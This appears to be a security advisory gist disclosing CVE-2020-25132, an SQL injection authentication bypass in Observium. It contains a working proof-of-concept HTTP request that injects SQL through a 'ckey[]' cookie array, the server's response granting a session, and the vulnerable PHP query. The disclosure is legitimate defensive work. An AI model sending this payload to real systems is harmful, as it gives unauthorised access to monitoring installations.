mariuszpoplawski / CVE-2020-25132

Created 2 years ago

CVE-2020-25132

```
CVE-2020-25132
------------------------------------------
SQL Injection leads to full authentication bypass

------------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to SQL Injection due to the fact that it is possible to inject malicious SQL

------------------------------------------

[Additional Information]

Please note that Proof of Concepts regarding SQL injection points works even without the “debug” parameter that was included in the request

We want to mention that the source code of Observium was downloaded from the following URL:
http://www.observium.org/observium-community-latest.tar.gz

We have tested this vulnerability on CE and PRO version (Paid), both softwares were vulnerable.

Vulnerability was exploited by sending crafted variable type "Array". Core sanitization does not properly handle this type of parameters.

Example Request that allow to bypass authorization by sending Array "ckey[]" parameter with injected SQL queries:

GET /?debug=0 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15\
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ckey[]=1 or expire>1597307817; dkey=1

Partial of server response:

HTTP/1.1 200 OK
Date: Thu, 13 Aug 2020 08:37:15 GMT
Strict-Transport-Security: max-age=63072000; includeSubdomains;
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OBSID=mb9sjp06s4qukejtipkoboek3pfg23pe; expires=Thu, 13-Aug-2020 09:07:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
Set-Cookie: OBSID=mb9sjp06s4qukejtipkoboek3pfg23pe; expires=Thu, 13-Aug-2020 09:07:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
Set-Cookie: OBSID=mb9sjp06s4qukejtipkoboek3pfg23pe; expires=Thu, 13-Aug-2020 09:07:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
Set-Cookie: OBSID=mb9sjp06s4qukejtipkoboek3pfg23pe; expires=Thu, 13-Aug-2020 09:07:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
Set-Cookie: OBSID=mb9sjp06s4qukejtipkoboek3pfg23pe; expires=Thu, 13-Aug-2020 09:07:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
Set-Cookie: OBSID=mb9sjp06s4qukejtipkoboek3pfg23pe; expires=Thu, 13-Aug-2020 09:07:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
Set-Cookie: OBSID=mb9sjp06s4qukejtipkoboek3pfg23pe; expires=Thu, 13-Aug-2020 09:07:15 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
X-Permitted-Cross-Domain-Policies: none
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16558


      <!--[if lt IE 9]>
    <script src="js/html5shiv.min.js"></script><![endif]-->
  <p><pre style="color: black; background-color: white; font-size: 12px; padding: 5px;"><span style="font-weight:bold;">SELECT</span> <span
    <div class="alert alert-danger"><button type="button" class="close" data-dismiss="alert">&times;</button>
      <div>LDAP[Connecting to ldaps://localhost:636]</div>
    </div>

    <div class="alert alert-danger"><button type="button" class="close" data-dismiss="alert">&times;</button>
      <div>LDAP[Connected]</div>
    </div>


Below we present vulnerable code:

/var/opt/observium/html/includes/authenticate.inc.php
188   $ckey = dbFetchRow("SELECT * FROM `users_ckeys` WHERE `user_uniq` = ? AND `user_ckey` = ? LIMIT 1",
189                              array($user_unique_id, $_COOKIE['ckey']));

Attacker is able to login on any account that exists in "users_ckeys" table without username or password, we reproduced login on administra



------------------------------------------

[VulnerabilityType Other]
SQL Injection

```

```
-----------------------------------------

[Vendor of Product]
https://www.observium.org/

-----------------------------------------

[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631

-----------------------------------------

[Affected Component]
Authentication

-----------------------------------------

[Attack Type]
Remote

-----------------------------------------

[Reference]
https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries
https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
https://www.owasp.org/index.php/Testing_for_ORM_Injection_(OTG-INPVAL-007)
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Query_Parameterization_Cheat_Sheet.md


-----------------------------------------

[Discoverer]
Mariusz Popławski

-----------------------------------------


Mariusz Popławski / AFINE.com team
```

bsysop commented on Nov 14, 2020

Nice work!